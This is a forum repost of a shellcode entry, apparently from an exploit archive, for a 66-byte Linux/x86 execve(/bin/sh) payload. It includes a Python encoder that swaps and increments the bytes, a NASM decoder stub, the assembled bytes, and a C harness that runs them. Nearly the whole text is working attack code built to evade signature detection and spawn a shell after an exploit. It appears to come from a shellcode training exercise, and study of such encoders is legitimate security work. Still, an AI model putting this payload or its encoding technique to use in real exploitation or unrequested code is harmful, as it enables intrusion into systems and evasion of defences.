Hoşgeldin Misafir

Linux/x86 - Reposition + INC encoder with execve(/bin/sh) Shellcode (66 bytes)

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
# Title: Linux/x86 - Reposition + INC encoder with execve(/bin/sh) Shellcode (66 bytes)
# Author: Jonathan So
# Purpose: decode and spawn a /bin/sh shell
# Tested On: Linux kali 4.19.0-kali4-686 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) i686 GNU/Linux
# Arch: x86
# Size: 66 bytes
# Write-up Link: https://xmilkpowderx.github.io/2019-06-15-SLAEEX4/
 
======================================================Python Encoder======================================================
 
#!/usr/bin/python
#execve(/bin/sh)
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
 
encoded = ""
encodedP2 = ""
encoded2 = ""
encoded2P2 = ""
count = 1
 
print 'Encoded shellcode ...'
 
#Rearrange the position of shellcode and increase each of them by 1
for x in bytearray(shellcode) :
        x += 1
        if count % 2 != 0:
                encoded += '\\x'
                encoded += '%02x' % x
        else:
                encodedP2 += '\\x'
                encodedP2 += '%02x' % x
        if count % 2 != 0:
                encoded2 += '0x'
                encoded2 += '%02x,' % x
        else:
                encoded2P2 += '0x'
                encoded2P2 += '%02x,' % x
        count += 1
 
print encoded + encodedP2
print encoded2 + encoded2P2
 
print 'Len: %d' % len(bytearray(shellcode))
print 'Replace number to: %d' % (count/2)
 
======================================================Encoded Shellcode======================================================
 
Original:   \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Encoded:    \x32\x51\x30\x74\x69\x63\x6f\xe4\x8a\x54\xe2\x0c\x81\xc1\x69\x30\x69\x30\x6a\x8a\x51\xe3\x8a\xb1\xce
 
========================================================Decoder.nasm=========================================================
 
global _start                   
 
section .text
_start:
 
        jmp short call_shellcode
decoder:
        pop esi
        lea edi, [esi + 13]             ;half of encoded shellcode len = 25/2 = 13
        xor ebx, ebx
        xor ecx, ecx
        mul ecx
        mov edx, esp
        mov cl, 13
decode:                                 ;Rearrange the value of shellcode
        mov bl, byte[esi]               ;get value from esi
        dec ebx                         ;decrease by 1
        mov byte[edx + eax], bl
        inc eax
        mov bl, byte[edi]               ;get value from edi
        dec ebx                         ;decrease by 1
        mov byte[edx + eax], bl
        inc eax
        inc esi
        inc edi
        loop decode
 
        jmp edx
 
call_shellcode:
 
        call decoder
        EncodedShellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce
 
======================================================objdump Generated Shellcode======================================================
 
\xeb\x22\x5e\x8d\x7e\x0d\x31\xdb\x31\xc9\xf7\xe1\x89\xe2\xb1\x0d\x8a\x1e\x4b\x88\x1c\x02\x40\x8a\x1f\x4b\x88\x1c
\x02\x40\x46\x47\xe2\xee\xff\xe2\xe8\xd9\xff\xff\xff\x32\x51\x30\x74\x69\x63\x6f\xe4\x8a\x54\xe2\x0c\x81\xc1\x69
\x30\x69\x30\x6a\x8a\x51\xe3\x8a\xb1\xce
 
============================================================Proof of Concept============================================================
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\xeb\x22\x5e\x8d\x7e\x0d\x31\xdb\x31\xc9\xf7\xe1\x89\xe2\xb1\x0d\x8a\x1e\x4b\x88\x1c\x02\x40\x8a\x1f\x4b\x88\x1c\x02\x40\x46\x47\xe2\xee\xff\xe2\xe8\xd9\xff\xff\xff\x32\x51\x30\x74\x69\x63\x6f\xe4\x8a\x54\xe2\x0c\x81\xc1\x69\x30\x69\x30\x6a\x8a\x51\xe3\x8a\xb1\xce";
 
int main(){
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}
 
#  0day.today [2019-06-18]  #